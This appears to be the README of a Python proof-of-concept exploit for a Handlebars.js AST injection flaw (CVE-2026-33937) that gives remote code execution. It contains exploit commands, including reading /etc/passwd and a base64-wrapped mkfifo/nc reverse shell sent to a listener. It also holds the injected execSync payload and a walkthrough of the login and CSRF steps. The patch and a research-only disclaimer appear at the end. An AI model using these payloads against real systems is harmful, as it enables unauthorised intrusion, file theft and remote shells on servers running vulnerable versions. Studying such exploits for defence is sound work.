
Handlebars.js AST注入RCE的Python POC与漏洞利用,Handlebars.js 4.0.0至4.7.8版本受影响。CVSS评分:9.8 严重。
Handlebars.js 4.0.0 至 4.7.8 版本受影响。CVSS 评分:9.8 严重。
CVE-2026-33937 是 Handlebars.js 中的一个类型混淆漏洞。Handlebars.compile() 函数同时接受模板字符串和预解析的 AST 对象作为输入。当攻击者传入精心构造的 AST 对象时,编译器的 NumberLiteral 访问器会将节点的 value 字段原样插入到生成的 JavaScript 函数体中,且不做任何清理。对结果调用 render() 会在 Node.js 进程内执行攻击者控制的代码。
python3 exploit.py --url <target> --username <email> --password <pass> --command <cmd>
参数
--url — 目标的基础 URL,例如 http://hello.veer/(必填)--username — 登录邮箱地址(必填)--password — 登录密码(必填)--command — 要执行的操作系统命令,默认为 id(可选)示例
# Verify RCE
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id
# Read a file
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'
# To get reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0
python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload> | base64 -d | bash'
该脚本在利用前会执行完整的登录流程。它首先向 /login 发送 GET 请求,从表单中抓取隐藏的 _csrf 令牌,然后将该令牌连同提供的邮箱和密码以表单编码的 POST 请求提交到 /login。成功时服务器会返回 302 重定向到 /dashboard,并设置 dz.sid 会话 cookie,该 cookie 用于所有后续请求。
每次 POST 请求前都会自动获取新的 CSRF 令牌,因为应用的 CSRF 中间件要求每次写操作都携带令牌。
该应用暴露了 POST /character 接口,接受 Content-Type: application/json。此路由会创建新的 D&D(龙与地下城)角色,并且在提供了 campaign_id 时,会将 campaign_message 字段直接传递给服务器端的 Handlebars.compile():
// Server-side Node.js (vulnerable)
const render = Handlebars.compile(campaign_message); // no type check
const output = render({ name, race, class }); // payload executes here
// output is stored as a campaign log entry
当请求体为 JSON 时,campaign_message 可以是嵌套对象(即 AST)而非字符串,从而绕过表单层的字符串校验。campaign_id 字段使服务器将渲染结果存储为战役日志消息,之后可通过 GET /campaign/1 读取——为攻击者提供带外命令输出。
该利用将 NumberLiteral 与 lookup 辅助函数结合使用。
{{lookup this 1}} 的正常编译结果为:
env.helpers.lookup(this, 1, {options})
注入的 NumberLiteral.value 将 1 替换为:
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //
生成的 JavaScript 变为:
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// <remainder of expression is commented out>
当调用 render() 时,execSync() 被执行,其标准输出作为表达式值返回,并被存储为战役消息。
命令在内部被包装为 /bin/sh -c 'cmd 2>&1',因此包含空格、管道和重定向的命令可以正确执行,并且标准错误会与标准输出一起被捕获。
脚本在发送载荷前会记录战役消息的数量。POST 之后,它会再次获取 /campaign/1,并截取 messages[before_count:] 以隔离新添加的条目。这种方法能正确处理之前已运行过相同命令的情况,因为基于集合的比较会去重相同的输出,从而漏掉新结果。
在 Handlebars.js 的 javascript-compiler.js 中,存在漏洞的代码如下:
// Versions 4.0.0 – 4.7.8
NumberLiteral(number) {
this.pushStackLiteral(number.value); // value inserted verbatim, no type check
}
4.7.9 版本在 compile() 入口点添加了类型检查,在到达代码生成器之前拒绝任何非字符串输入:
// Patched in 4.7.9
if (typeof input !== 'string') {
throw new Handlebars.Exception(
'You must pass a string or Handlebars AST to Handlebars.compile.'
);
}
本仓库仅供安全研究和教育之用。请仅对您拥有或已获得明确书面授权测试的系统使用此利用程序。